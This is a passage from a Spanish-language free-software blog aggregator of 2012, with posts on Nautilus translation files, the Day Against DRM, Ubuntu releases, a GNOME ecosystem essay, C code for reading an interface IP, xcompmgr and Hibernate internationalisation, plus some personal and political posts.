Si todo ha ido bien ya tenemos creado el archivo nautilus-image-converter.po, podemos abrirlo con la aplicación Poedit y corregir los errores de codificación. Guardamos, asegurándonos de tener marcado en Preferencias – Editor la opción Compilar archivo .mo al guardar.

Ahora ya tenemos los 2 archivos: nautilus-image-converter.po y nautilus-image-converter.po

Es el turno de comprobar si todo ha ido bien, pero antes de nada renombraremos el original que teníamos en la carpeta /usr/share/locale/es/LC_MESSAGES por si acaso:

mv nautilus-image-converter.mo nautilus-image-converter.mo1

Y copiamos el reción creado:

cp /home/usuario/nautilus-image-converter.mo /usr/share/locale/es/LC_MESSAGES/

Reiniciamos Nautilus:

killall nautilus

Y comprobamos:

Si alguien quiere ahorrarse el trabajo de generar los archivos y modificarlos, los dejo a vuestra disposición en los siguientes enlaces:

nautilus-image-converter.mo

nautilus-image-converter.po

Para más información sobre como compilar un archivo .po a .mo y viceversa la podéis encontrar en en el blog de Thempra

Juan Manuel Méndez

Juan Manuel Méndez
Noticias feed

Coalición contra el DRM (Sistema de Restricciones Digitales) para el 4 de Mayo del 2012 (Día contra el DRM)

Varias organizaciones se han unido para expresar su preocupación por la libertad de autores y lectores, organizaciones que incluyen a Creative Commons, O'Reilly Media, No Starch Press, la Accessible Computing Foundation, Libre Graphics Magazine, APRIL, la Free Software Foundation y sus organizaciones hermanas, FSF Francía y FSF India.

Matt Lee, el director de la campaña de Defective by Design, dice, "DRM es un problema que está creciendo en el area de los libros electrónicos, donde la gente tiene la prohibición de prestar, revender o donar sus libros, o leerlos sin ser rastreados, asi'como copiarlos a un nuevo dispositivo sin tener que recomprarlos todos. Algunos incluso han visto como sus libros han sido borrados sin permiso por alguna compañía." Algunas de las actividades del día incluye a gente que molesta por el DRM estan celebrando protestas y creando conciencia sobre ésto en Cincinnati, Orlando, Amherst, San Francisco, Boston, Madrid, Roma, Manchester, Nagoya (Japan) y Aveiro (Portugal).

Otros eventos siguen añadiendose a http://libreplanet.org/wiki/Group:DefectiveByDesign/Day_Against_DRM_2012.

Simpatizantes estan tambien tomando acción en la red, mostrando el anuncio de la campaña y aprovechando la oportunidad para escribir en sus blogs sobre sus frustraciones con el DRM. Cory Doctorow, el notable autor de ciencia ficción y editor del influyente blog BoingBoing.net ha dicho, "Como autor, entiendo que el DRM no hace nada por proteger mis intereses. Como empresario, entiendo que el DRM usurpa mi relación comercial con mis clientes y se la entrega a los revendedores de DRM." Sanders Kleinfeld, autor de HTML5 para editores dijo en una entrevista a O'Reilly Media, "Lo más frustrante ahroa mismo es que Amazon está enfocado en su formato Mobi para su dispositivo Kindle, Apple ha dado pasos agigantados para alejarse de EPUB 3 con su iBooks 2.0 y su iBooks Author. Creo que los vendedores que crean esos dispositivos están interesados en mantener ese cierre para sus clientes."

Defective by Design ya ha celebrado anteriormente días contra el DRM en 2006, 2010 y 2011, enfocandose en el uso del DRM por parte de Microsoft, Appel, Amazon y la RIAA. Defective by Design es una campaña de la Free Software Foundation.

Puedes encontrar más información de como participar en http://dayagainstdrm.org.  Fotos, videos serán publicados en http://defectivebydesign.org.

May 03, 2012

David Santo Orcero

David Santo Orcero
Gestionando el Conocimiento feed

Curso de Informática Forense y Peritajes Informáticos 2012

Después del éxito del año pasado, este año repetimos el Curso de Informática Forense y Peritajes Informáticos. Impartiré este curso entre el 2 y el 6 de Julio, de 9:00 a 14:00 -un curso de 25 horas-. Será presencial, y estará encuadrado en los Cursos de Verano Universidad - Empresa de la UMA. Compártelo

Apr 30, 2012

Raúl González Duque

Raúl González Duque
Mundo Geek » Linux feed

Ubuntu 11.04, Natty Narhwal

Ubuntu Natty Narhwal ya está en la calle… y en esta ocasión viene con polémica. Puedes amar o puedes odiar la nueva interfaz de usuario de Ubuntu, Unity, pero lo que está claro, es que no te va a dejar indiferente. Por eso, aunque no uses Ubuntu habitualmente, ni tengas intención de hacerlo en el futuro, no puedes dejar de probar esta versión y votar en nuestra pequeña encuesta: ¿Qué te parece Ubuntu Natty Narhwal en general, y Unity en particular?

Ubuntu Natty Narhwal

¿Qué te parecen Unity y Ubuntu 11.04?

  • Me gusta
    441 (36% de los votos)
  • No me gusta
    320 (26% de los votos)
  • Lo odio
    172 (14% de los votos)
  • Me es indiferente
    149 (12% de los votos)
  • Me encanta
    138 (11% de los votos)

Votos totales: 1220
Iniciada: 28 April 2011

Rosa Guillén

Rosa Guillén
novatillasku.com feed

Quantal Quetzal abierto para el desarrollo


Matthias Klose, acaba de anunciar que Quantal Quetzal queda abierto para su desarrollo y dá detalles en las listas de Ubuntu-Devel.

Esto no afecta a los usuarios que acaban de instalar su Precise, tan sólo a los que quieran hacer un upgrade a Quantal (Ubuntu 12.10) para comenzar a ver los cambios desde el principio.

Si eres de alma testeadora, te aconsejo seguir el nuevo foro abierto en Ubuntu Forum: http://ubuntuforums.org/forumdisplay.php?f=416, donde se van comentando todas las novedades y donde si tienes dudas pueden ayudarte.

Al fin me he pasado a la banca ética

Al fin me he hecho una cuenta en TriodosBanc en Palma. Y por ahora es mejor de lo que me pensaba.

No sólo no entran a invertir en bolsa ni en armas ni cosas así sino que exigen valores éticos en lo que invierten y no cobran comisiones. No mientras hagáis menos de 5 transferencias al mes.

Triodos en Palma está cerca de la Riera, en las avenidas. Aquí tenéis un par de fotos:


Yo tardé en decidirme hasta que lo encontré por Toni.  Si queéis información éste es su teléfono: 902 360 940.

Al hacer una cuenta os pedirán que añadáis dinero desde otro banco.  Ellos pagan la transferencia, a nosotros nos sale coste cero mover dinero.

Yo animo a todo el mundo a tomar una posición ética en todos los pequeños detalles de la vida que puedan. 

La vida es eso, muchos detalles; pequeños momentos a los que les añadimos, o no, un significado.

Gaspar Fernández

Gaspar Fernández
Poesía binaria feed

Hallar la IP de un dispositivo en C

Puede que se nos haya presentado alguna vez la necesidad de saber la dirección de un dispositivo desde nuestro programa, y no es plan de ponernos a ejecutar ifconfig o algún programa parecido para hallar la dirección.

Podemos hablar con ioctl() una función destinada a definir y obtener información de dispositivos. Hay cientos de llamadas, aquí comentaremos la llamada SIOCGIFADDR cuya función es la que comentábamos, obtener la dirección de un interfaz de red.

Podemos probar el siguiente programa con el que hallaremos la IP del dispositivo eth0:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <string.h>

int main()
{
  int sock;
  struct ifreq ifr;

  sock=socket(AF_INET, SOCK_DGRAM, 0);
  if (sock<0)
    return -1;          /* No puedo crear el socket */

  ifr.ifr_addr.sa_family = AF_INET;
  strcpy(ifr.ifr_name, "eth0");

  if (ioctl(sock, SIOCGIFADDR, &ifr) < 0)
    return -1;          /* No encuentro el dispositivo */
 
  printf("IP de eth0: %s\n", inet_ntoa( (*(struct in_addr *) &ifr.ifr_addr.sa_data[2])));

  close(sock);

  return 0;
}

Primero creamos un socket, luego definimos la familia y el dispositivo que queremos consultar con:

1
2
ifr.ifr_addr.sa_family = AF_INET;
  strcpy(ifr.ifr_name, "eth0");

Para comprender cómo obtenemos la dirección debemos echar un ojo a las estructuras:
(struct ifreq)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
struct ifreq
{
    char            ifr_name[IFNAMSIZ];   /* Nombre de la interfaz */
    union {
                    struct sockaddr       ifr_addr;
                    struct sockaddr       ifr_dstaddr;
                    struct sockaddr       ifr_broadaddr;
                    struct sockaddr       ifr_netmask;
                    struct sockaddr       ifr_hwaddr;
                    short                 ifr_flags;
                    int                   ifr_ifindex;
                    int                   ifr_metric;
                    int                   ifr_mtu;
                    struct ifmap          ifr_map;
                    char                  ifr_slave[IFNAMSIZ];
                    char                  ifr_newname[IFNAMSIZ];
                    char *                ifr_data;
    };
}

(struct sockaddr)

1
2
3
4
5
struct sockaddr
{
   unsigned short sa_family;  /* familia de la dirección */
   char sa_data[14];          /* 14 bytes de la dirección del protocolo */  
};

(struct sockaddr_in)

1
2
3
4
5
6
7
struct sockaddr_in
{
   short int sin_family;        /* Familia de la Dirección              */
   unsigned short int sin_port; /* Puerto                               */
   struct in_addr sin_addr;     /* Dirección de Internet                */
   unsigned char sin_zero[8];   /* Del mismo tamaño que struct sockaddr */
};

(struct in_addr)

1
2
3
4
struct in_addr
{
   unsigned   long s_addr;
};

Bien, en el programa anterior, la línea más conflictiva es:

1
printf("IP de eth0: %s\n", inet_ntoa( (*(struct in_addr *) &ifr.ifr_addr.sa_data[2])));

En ella, sacaremos la dirección en forma de struct in_addr que es el que le gusta a inet_ntoa() (esta función sólo coge la dirección y la pone en forma de char* para que podamos entenderla.
Para llegar al struct in_addr, partimos de la estructura struct ifreq (variable ifr) que nos devuelve ioctl(), ésta tiene un campo llamado ifr_addr de tipo struct sockaddr. El tipo struct sockaddr y struct sockaddr_in podemos compararlos, es decir, podemos ponerlos uno encima de otro y pueden tener la misma información en el mismo byte, por tanto, podemos ver que el campo sa_data de un struct sockaddr coincide con sin_port, sin_addr y sin_zero de un struct sockaddr in; vemos que sin_port es de tipo unsigned short por tanto ocupará 2 bytes y como queremos la información encerrada en sa_data a partir del byte 2, de ahí viene dicho número. Si queremos ponerlo de otra forma, ésta podría ser:

1
2
struct sockaddr_in sain;
  printf("IP de eth0: %s\n", inet_ntoa( (*(struct in_addr *) &ifr.ifr_addr.sa_data[sizeof(sain.sin_port)])));
FORAT: Cloud Computing con eyeOS bajo Debian GNU/Linux

Apr 27, 2012

Rosa Guillén

Rosa Guillén
novatillasku.com feed

Vídeo Manual: Instalar Ubuntu 12.04 LTS Precise Pangolin


Gracias Vicente Pons por enviarmelo ;-)

Apr 26, 2012

Alberto Ruiz

Alberto Ruiz
Silicon Island feed

Most people can only write software if they do it for a living

Looking back in time

Jason just pointed out in this email that the fact that we had a window of opportunity during the netbook boom that was lost was a failure of GNOME as a project. I'd like to point out that first of all, I think that if an ISV and an OEM failed to use GNOME and engage with our community to affect change so that they could build their own product, it's their failure, not ours. Nonetheless he has a point.

It's worth noting that people buying netbooks just wanted more portable and cheaper version of the traditional Windows desktop, and that's why demand for netbooks shrunken after a while. It failed to match the expectation of the user, and no matter how good and perfect GNOME was back then, we would have failed to match that expectation.

However we can learn a few things about what's been happening since then.

I think that the reason we didn't make it during the netbook boom has more to do with developer experience. It had nothing to do on how usable our desktop is, we were usable enough back then. If we want to reach for adoption, we need to focus on other aspects.

I think we succeeded long ago in the goal of making Unix usable enough for most people. What we are missing now is a system, that is, a complete OS that is capable of holding a complete ecosystem around him. OS+OEM+User is not the whole story, ISVs and the relationship between them and the user is a huge piece of the success of a product.
Partially, because we relied on the distros to do that job for us lies the reason for our struggle in this regard, the problem is, Linux has historically only made bucks on the large IT deployments and not much more consumer oriented segments of the market, so that's where the focus has been.
People were fine with Windows 2000 and XP and they still are fine with it, more usability won't bring any more meaningful value to the user, it's the applications and games, and in that regard, I think we have a huge room for improvement. Developing, shipping and making money out of writing apps for GNOME or the traditional Linux desktop in general is really hard compared to other options. Specially when you compare it to the modern mobile options.

For most developers, there are actually very few reasons at all to write apps for GNOME these days other than trying to help the open source ecosystem. Which is a valid and noble reason to write apps, but it won't bring Photoshop, or Autocad, or iTunes, or Starcraft II into our platform. Back in the early 00s it wasn't as crazy to think about us as a community being able to catch up and rewrite the Windows 98 essential application collection for the average user at some point. I think we are stuck in that thought that if we replicate every single application the Windows users have we will at some point get the users. I think we need to run away from that notion, because we are a small community after all, we cannot write every single app from scratch. Focusing on helping others on creating, building and delivering their apps to the users, and having fun while doing so, and making a profit while doing so as well is a much more productive use of our limited efforts.
This is why OEMs find it really easy to work with Microsoft and Android, they get an OS and an ecosystem as a commodity. They can do what they do best, engage with some ISVs to ship some extra stuff it on their product and ship it to retail, hopefully building some momentum with some new piece of software.
Look at every single product launch or OS release at Apple for example, Adobe and Epic Games are examples of companies that develop apps during the product development phase so that on launch date a set of interesting and useful apps are available for the platform.
We are trapped in an chicken and egg situation, OEMs that do not build a healthy ISV ecosystem upon their GNOME successful products will not ship (or will ship and step back afterwards), and we can't build an ISV ecosystem because we have no devices in the shelves of Best Buys and MediaMarkts of the world.
Usability has nothing to do with this. It's the lack of apps, and how hard it is to create and ship them what prevents us from being ready to have an ecosystem, and that's pushing OEMs away.

A positive prospect for the future

Now, this is just a review of one thing we haven't quite focused on, we've achieved great many things, GNOME 3 being one of them, I'm proud of being part of even a tiny fraction of such effort.
The good news is that we've learnt a lot about usability and user experience over the past 12 years, we can easily apply those lessons to improve our developer experience and the relationship between those developers and their users. If GNOME Shell is the vehicle for users to use their computers and applications, then let GNOME OS be the vehicle for developers to reach those users and establish a relationship with them.

I strongly  think we can achieve this goal.
We just need to focus on allowing anyone to be able to write awesome, powerful, useful, both simple and complex, beautiful applications. Without having to interact with us in our mailing list because some piece of documentation is not clear, or because they cannot find the right API to achieve something because it's in some repo somewhere with or because it has a weird non descriptive name. Without having to learn three or four packaging mechanisms to reach every single GNOME user.
We also need to understand to engage with key players of the ecosystem, sometimes even with people that produce closed source, the news of Valve working on a Linux version of Steam is really good news, and whatever we do to help them will only render into a mutually benefitial outcome.

I am not saying that we are not making steps towards this goal at all, a lot of work is being done, but if we could concentrate the same amount of energy that we did for the 3.0 release on this goal, the possibilities are pretty encouraging.

Rosa Guillén

Rosa Guillén
novatillasku.com feed

Ubuntu 12.04 LTS Precise Pangolín disponible para su descarga


Ya se encuentra disponible para su descarga la versión final de Ubuntu 12.04 Precise Pangolín, la primera LTS con un soporte de 5 años.

La interfaz de usuario por defecto sigue siendo UNITY, de la que tenemos tanto la versión 3D como la 2D.

Además, con tan sólo instalarlos podemos tener también GNOME SHELL y GNOME CLASSIC (con y sin efectos), que ha conseguido hoy por hoy ser prácticamente igual que el tan querido por muchos Gnome2.

Esta versión de Ubuntu, incorpora diversos cambios que os comento a continuación.

HUD (Head-Up Display) hizo su entrada, como buscador rápido en las aplicaciones o menú de indicadores.Con tan sólo pulsar ALT y empezar a teclear la palabra nos dará todas las opciones incluidas en la aplicación.

Click en las imágenes para verlas en su tamaño real


NAUTILUS obtuvo Quicklist en el icono del lanzador, para acceder de forma más rápida.

VIDEO LENS se incorporó al Dash, con un montón de recursos donde buscar además de en nuestro propio equipo.

RHYTHMBOX REEMPLAZÓ A BANSHEE COMO REPRODUCTOR DE MUSICA y cuenta con la tienda de musica de Ubuntu One

UBUNTU SOFTWARE CENTER nos permite ahora pagar las aplicaciones con Paypal, además de poder activar las recomendaciones personalizadas.

CONFIGURACION DEL SISTEMA, es ahora nuestro acceso para cualquier cosa que deseemos configurar.Dividido en tres apartados: Personal, Hardware y Sistema, nos permite acceder de forma muy sencilla a cualquiera de los ajustes que necesitemos hacer.

APARIENCIA, integrada en Configuración del Sistema, nos ofrece, además de un nuevo fondo por defecto, otros 14 alternativos más el de Gnome.

Adamás ahora desde ahí mismo podemos elegir el tamaño de los iconos del lanzador y desde la pestaña Comportamiento personalizar como queremos que éste se nos muestre según nos guste.

PRIVACIDAD nos permite predeterminar las aplicaciones de las que no deseamos que se recuerde nuestro historial.Puedes elegir también que no quede registrado ninguno de tus movimientos.

MONITORES con Soporte Multimonitor ahora con opción de tener el lanzador en una de las pantallas o en todas.

MyUnity, que nos permite configurar nuestro Unity, puede ser instalado desde el Centro de Software y después tendremos el acceso desde “Configuración del Sistema”.

GNOME SHELL

GNOME CLASSIC

Además de éstas novedades, cuenta con versiones actualizadas de:

LightDM, gestor de sesiones por defecto,toma ahora el fondo seleccionado por cada usuario en su escritorio e incorpora menu de sonido, selección de idioma y una nueva forma de mostrar las distintas sesiones entre las que podemos elegir.

SHOTWELL como gestor de imágenes.

GWIBBER en su versión 3.4.0 como cliente de microblogging, que además de un cambio de diseño, nos permite una previsualización de las imágenes.

FIREFOX versión 11.

LIBRE OFFICE ya se encuentra en su versión 3.5.2.

GNOME se actualizó a la versión 3.4.1.(Ver más)

KERNEL 3.2.0-23.36.

Puedes leer las notas de la versión aqui:https://wiki.ubuntu.com/PrecisePangolin/ReleaseNotes/UbuntuDesktop

Felicidades a todos los Ubunteros y gracias a todos los desarrolladores que han participado en Ubuntu 12.04 ;-)

DESCARGAS

Puedes acceder a las distintas descargas y Notas de versión desde los siguientes enlaces:

Apr 25, 2012

Juanjo Amor

Juanjo Amor
DrAmor's Blog feed

Google Drive frente a DropBox

No, no voy a hablar de rendimiento, de espacio de almacenamiento ni de precio. Voy a hablar de “términos de servicio” porque se están diciendo muchas imprecisiones, por decirlo suave.

Como me han preguntado varios (mejor dicho, han preguntado a #Reclameitor) resumo a continuación, poniendo frente a Google Drive un servicio similar: Dropbox:

Dropbox: Seremos siempre propietarios de nuestras “pertenencias”. No damos a Dropbox ningún derecho sobre ellas, salvo lo imprescindible para prestar el servicio. Lo más interesante es que prometen pedirnos permiso para acceder a ellas. Por ejemplo para poder prestar un servicio de miniaturas en tus fotos. Términos de Servicio.

Google: Sus términos de servicio, aplicables también a Google Drive, dicen claramente que aunque el usuario retiene la propiedad intelectual de los contenidos, concedemos a Google licencia para hacer lo que quiera con él, difundirlo, etc; incluso “obras derivadas”, con los fines de prestación del servicio. Términos de Servicio (TOS).

Conclusiones:

  • El problema, a mi entender, es que Google ha unificado el TOS para todos sus productos. Y bueno, en algunos productos no encaja muy bien, que digamos. A lo mejor un día le da por rectificar… o no.
  • Dropbox parece menos “malo” pero tampoco garantizan que si nos piden permiso para algo y no lo damos, no perdamos el acceso a nuestra cuenta. Podrían obligarnos, es decir, o aceptas esta “mejora” o cierras tu cuenta. En el fondo, lo veo igualito que Google.
  • Con Google está muy claro: para documentos privados no lo uses. Eso sí, casi diría que apoyan la documentación libre con eso de mencionar las “obras derivadas”. Vamos, que si subes tus documentos con una licencia CC By-SA, podría ser que Google te ayudase a su difusión y mejora (soñemos…).
  • ¿Crees que la licencia de Dropbox o de otros servicios similares te garantiza que puedas usarlo para documentos privados tranquilamente? Si es así, eres un ingenuo. Pero bueno, si lo haces, al menos cífralos con una tecnología segura.
  • Por último, en ambos casos, se nos reconoce la propiedad de los contenidos. Faltaría más, la propiedad intelectual nunca la perdemos. Lo contrario sería ilegal. Así de simple y así de sencillo. Esta es la base de las muchas tonterías que se están diciendo desde ayer, como que “Google te quita la propiedad de tus cosas…”.

Reclameitor, a su servicio.

Apr 24, 2012

III Jornada de Difusió de Programari Informàtic en Valencià

L'Escola Politècnica Superior, en col·laboració amb el Vicerectorat de Tecnologia i Innovació Educativa, organitza la III Jornada de Difusió de Programari Informàtic en Valencià, que tindrà lloc a l’edifici Germà Bernàcer el dijous 26 d'abril de 2012 a la Universitat d'Alacant.

Programa

9:30-9:45 h. Presentació de la jornada, a càrrec de Faraón Llorens, vicerector de Tecnologia i Innovació Educativa; Fernando Llopis, director de l'Escola Politècnica Superior (sala d'actes de l'edifici Germà Bernàcer).

9:45-11 h. Conferència. El Catalanitzador per al Windows de Softcatalà, a càrrec de Jordi Mas (membre fundador de Softcatalà i desenvolupador principal del Catalanitzador).

11-11:45 h. Descans.

11:45- 14:15 h. Tallers

- Taller 1 (enfocat a alumnat): Ubuntu 12.04. Instal·lació i aplicacions, a càrrec de Vicent Cubells (membre de Softvalencià i Softcatalà, i del LOCO Team d'Ubuntu en català, del qual és cap de difusió de l'equip al País Valencià) (Nota als assistents al taller d'Ubuntu)
(aula A2/0E22 de l'Aulari II)

- Taller 2 (enfocat a PAS): Traducció amb Vualà. Funcionament d'Apertium en Vualà: errors habituals de traducció, a càrrec de Xavier Casero i Joan Coderch (tècnics del Servei de Promoció del Valencià)
(aula GB/INF1 de l'edifici Germà Bernàcer)

- Taller 3 (enfocat a PDI): Alternatives lliures al programari privatiu. Què ofereix el programari lliure i programés més habituals, a càrrec de Xavi Ivars (membre de Softvalencià i Softcatalà)
(aula GB/INF5 de l'edifici Germà Bernàcer)

Vull agrair a la gent que ha organitzat la xerrada i que m'ha donat l'oportunitat d'explicar el darrrer projecte amb que estem involucrats: el Catalanitzador.

Apr 23, 2012

David Moreno

David Moreno
Stereonaut! feed

Ruby and libv8: Exactly my feelings

Thanks to my coworker Dan for making a whole bunch of these based on our day job adventures :)

Apr 20, 2012

Lo más duro que he escrito en toda mi vida

Tras leer que Grecia gasta ahora que esta ahogada miles y miles de millones en armas en este artículo del que os paso el enlace, no creo que pueda uno faltar al deber cívico de denunciar esta violencia. Yo no he podido:

Grecia comprará armas a sus socios de la UE con el dinero del rescate

¡Es absolutamente inaceptable!

Si no sientes un absoluto rechazo a esto es que no tienes empatía. Por favor infórmame si eres amigo mio o cercano porque no quiero relacionarme con sicópatas.

Cualquier participación en esto por lejana que sea es mancharse las manos con el sufrimiento de la gente de la calle por intereses económicos. Ya no creo que se pueda decir que eso se pueda explicar como un error o un mal entendido.

La gente en la calle sufriendo los abusos y privilegios de unos gobernantes a los que llaman tecnócratas cuando son simples plutócratas o directamente corruptos y ENCIMA aprovechamos para obligarles a comprar armas.

Mi más profunda condena a todo el que participe.

Sí como a Bush, ni más, ni menos.

Estamos llegando a los más bajas niveles de hipocresía, falta de empatía y corrupción de todos los tiempos. Y están participando nuestros propios vecinos y familiares en las enormes redes de clientelismo globalizadas.

Ni honor, ni ideales, ni patriotismo, esto es pura y duramente violencia económica. Como cuando Estados unidos Amenazó con guerra comercial al que no imponga la ley Sinde pero aun un estrangulamiento o violación más brutal y descontrolado.

¡Dios! Esto es lo más duro que he escrito en toda mi vida.

Por favor, os lo ruego, en nombre de los que no pueden gritar más alto o sufrir más impotencia ante esta violenta corrupción, haced algo.

Comprometámonos en pequeñas decisiones, seguro que entendemos suficiente en algunos aspectos como el voto o las compras como para saber el efecto que producimos todos juntos.

El mundo que nos rodea está hecho de la suma de nuestras pequeñas decisiones de cada día.

Apr 18, 2012

Mi nuevo blog de activismo en N-1

Al contrario que en Facebook donde te amenazan con cerrar tu cuenta si promocionas otras redes sociales (o cosas peores), Google no se molesta si anuncio mi nuevo blog en la red social libre N-1.

Por eso y otras cosas tengo cuenta de Google a pesar de indignarme en más de una ocasión. Como cuando ceden ante gobiernos para darles nuestra privacidad o ayudaron a hacer censura a gente digamos ... muy censurable.

Si os fijáis voy a mover algunas cosas publicadas aquí hacia allá. Por temática.

Por cierto, acabo de ver que Google usa ya el html5 para el vídeo en vez del flash. ¡Bravo!

Y ya que estoy, como viene perfectamente a cuento, os invito a ver este vídeo:

Apr 15, 2012

Pedro L. Lucas

Pedro L. Lucas
Cartas de Linux feed

Composición de ventanas en equipos con pocos recursos

Unity 2D permite tener efectos de escritorio en equipos poco potentes. Pero hasta que esté estable se necesitará que pase cierto tiempo. ¿Se tiene otra alternativa? Sí, se puede usar xcompmgr.

Xcompmgr es un sistema de composición de ventanas que es bastante ligero. Evidentemente no tiene las caracteristicas de Compiz o KDE, pero en combinación con nuestro gestor de ventanas favorito, permitirá tener sombras transparencias y eliminará el molesto efecto de que quede un “hueco”, durante unos instantes al mover una ventana sobre otra. En los equipos con poca potencia se producen efectos como el que se muestra en la figura al mover las ventanas. Quedan huecos durante unos instantes, hasta que se redibuja la imagen.

Para instalar xcompmgr en Ubuntu, sólo hay que escribir en nuestro terminal:

sudo apt-get install xcompmgr

Para probar su funcionamiento, se escribe en un terminal:

xcompmgr –help

Mostrará las opciones disponibles. Sólo hay que ir probando las que más nos gusten. Por ejemplo con:

xcompmgr -n -f -c

Hace efectos de transparencia y desaparición y aparición de elementos.

Personalmente lo suelo usar con la opción -a, no tiene efectos pero no elimina el efecto del “hueco” de la ventana al moverla.

¿Tiene algún fallo?

He detectado que los paneles no se redibujan cuando una ventana emergente los solapa. Por lo que queda un “hueco” en la barra de tareas. Las soluciones que he encontrado pueden ser, o bien, instalar Cairo-dock, que obliga a los paneles a redibujarse, o bien, hacer que los paneles se oculten de forma automática.

Por lo demás lo he usado durante una temporada y no me ha dado problemas.

¿Cómo iniciarlo de forma automática?

Si os gusta, y deseáis que se inicie de forma automática al iniciar la sesión, en Gnome podéis ir al menú “Sistema/Preferencias/Aplicaciones al inicio”, pulsáis el botón añadir y rellenáis el formulario que aparece. En la casilla comando se introduce “xcompmgr -n -f -c” o bien xcompmgr con vuestras opciones favoritas.

 


Apr 14, 2012

David González

David González
El blog de pico.dev feed

Internacionalización (i18n) de campos con Hibernate

Java
Si estamos desarrollando un sitio web que soporta varios idiomas necesitaremos internacionalizar (i18n) los literales que aparecen en él. Esto incluye también tenerlo en cuenta y solucionarlo en los nombres, descripciones y textos que guardamos en la base de datos de las entidades de dominio y que puedan aparecer en en el html generado.

Hibernate
La primera solución que se nos ocurre para las entidades de dominio es crear un campo por cada idioma y concepto a internacionalizar. Sin embargo, esto tiene el problema de que en la base de datos el número de campos crecerá rápidamente y si tenemos muchos elementos a internacionalizar y muchos idiomas el número de campos puede ser un problema por el tamaño de fila, y aunque los limites en postgresql y los límites de mysql son elevados y más que suficientes para la mayoría de los casos, con la solución anterior podemos llegar a ellos o estar peligrosamente cerca.


Diagrama entidad relación de base de datos
Primera solución (variación número columnas)

Para evitarnos problemas las buenas prácticas de diseño de las bases de datos dicen que las tablas han de estar normalizadas y siguiengo la solución anterior tendríamos variaciones en el número de columnas con lo que inclumpliríamos la primera forma normal (1FN). ¿Pero porque inclumplir esta forma normal puede ser un problema? Porque en el momento que tengamos que soportar un nuevo idioma deberemos modificar el esquema de la base de datos añadiendo un campo por cada concepto de las entidades que haya que internacionalizar. Y hacer esto en una base de datos que está en producción puede ser una fuente de problemas y un peligro. Además, en tablas con muchos registros (de unos cuantos miles o cientos de miles) añadir una columna puede ser muy lento pudiendo llegar a horas o más tiempo cosa que dependiendo del proyecto no es viable al poder tener que realizar paradas largas por mantenimiento.

La solución que voy a explicar a continuación es crear una tabla Diccionario la cual relacionaremos con las tablas de los datos de dominio (Producto) y una tabla Traduccion que relacionaremos con la tabla Diccionario y que contendrá las traducciones para cada idioma. La tabla Traduccion contendrá tres campos la clave primaria del diccionario, el idioma de la traduccion y el literal de la traducción propiamente dicho con lo que ya no tendremos variaciones en el número columnas. En la tabla Traduccion la clave primaria estará formada por la clave del diccionario y el campo locale. El esquema que tendríamos sería el siguiente:

Diagrama entidad relación de base de datos.
Producto-Diccionario 1:1
Diccionario-Traduccion 1:N
 A primera vista la tabla Diccionario no tiene mucho sentido pero nos permitirá crear en Hibernate una clase donde podremos incluir algunos métodos de utilidad de forma que podamos acceder a las traducciones más cómodamente. Para modelar este esquema con hibernate necesitaremos las siguientes entidades de dominio, la entidad Producto, Diccionario, Traduccion y TraduccionPK (necesaria en Hibernate al tener Traduccion una clave compuesta por dos campos o columnas).

// Producto.java (Código resumido)
...

@Entity
@Table(name = "Producto")
public class Producto implements Serializable {
...

@OneToOne(cascade = CascadeType.ALL)
@JoinColumn(name = "nombre_id", nullable = true)
private Diccionario nombre;

@OneToOne(cascade = CascadeType.ALL)
@JoinColumn(name = "descripcion_id", nullable = true)
private Diccionario descripcion;


...
}

// Diccionario.java
package com.blogspot.elblogdepicodev.domain;

import java.io.Serializable;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;

import javax.persistence.Entity;
import javax.persistence.GeneratedValue;
import javax.persistence.Id;
import javax.persistence.JoinColumn;
import javax.persistence.MapKeyColumn;
import javax.persistence.OneToMany;
import javax.persistence.Table;

import org.apache.commons.lang3.StringUtils;

import com.blogspot.elblogdepicodev.misc.AppThreadLocal;

@Entity
@Table(name = "diccionario")
public class Diccionario implements Serializable {

private static final long serialVersionUID = -1210174827995726573L;

private static final int LONGITUD_TEXTO_ABREVIADO = 10;

@Id
@GeneratedValue
private Long id;

@OneToMany(cascade = CascadeType.ALL)
@JoinColumn(name = "diccionario_id")
@MapKeyColumn(name = "locale")
private Map<String, Traduccion> traducciones;


public Diccionario() {
}

public Long getId() {
return id;
}

public void setId(Long id) {
this.id = id;
}

public Map<String, Traduccion> getTraducciones() {
if (traducciones == null) {
traducciones = new HashMap<String, Traduccion>();
}
return traducciones;
}

public void setTraducciones(Map<String, Traduccion> textos) {
this.traducciones = textos;
}

//
public String getTexto() {
return getTexto(getLocale());
}

public void setTexto(String texto) {
setTexto(getLocale(), texto);
}

public String getTexto(Locale locale) {
Traduccion t = getTraducciones().get(locale.toString());
if (t == null) {
return null;
}
return t.getTexto();
}

public void setTexto(Locale locale, String texto) {
Traduccion t = getTraducciones().get(locale);
if (t == null) {
t = new Traduccion(this, getLocale().toString());
}
t.setTexto(texto);
}

//
public boolean equals(Diccionario d) {
if (d == null) {
return false;
}
return getId().equals(d.getId());
}

@Override
@SuppressWarnings({ "unchecked", "rawtypes" })
public String toString() {
Map m = new HashMap();
m.put("id", getId());
m.put("texto", StringUtils.abbreviate(getTexto(), LONGITUD_TEXTO_ABREVIADO));
return m.toString();
}

private Locale getLocale() {
return AppThreadLocal.getPreferencias().getLocale();
}
}

// Traduccion.java
package com.blogspot.elblogdepicodev.domain;

import java.io.Serializable;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;

import javax.persistence.Column;
import javax.persistence.Entity;
import javax.persistence.Id;
import javax.persistence.Table;

import org.apache.commons.lang3.StringUtils;

import com.blogspot.elblogdepicodev.misc.Utilidades;

@Entity
@Table(name = "traduccion")
public class Traduccion implements Serializable {

private static final long serialVersionUID = -1210174827995726573L;

private static final int LONGITUD_TEXTO_ABREVIADO = 10;

@Id
private TraduccionPK id;


@Column(length = 65536)
private String texto;

public Traduccion() {
}

public Traduccion(Diccionario diccionario, String locale) {
this.id = new TraduccionPK(diccionario, locale);
}

public TraduccionPK getId() {
return id;
}

public void setId(TraduccionPK id) {
this.id = id;
}

public String getTexto() {
return texto;
}

public void setTexto(String texto) {
this.texto = texto;
}

//
public Locale getLocale() {
return Utilidades.getLocale(id.getLocale());
}

//
public boolean equals(Traduccion t) {
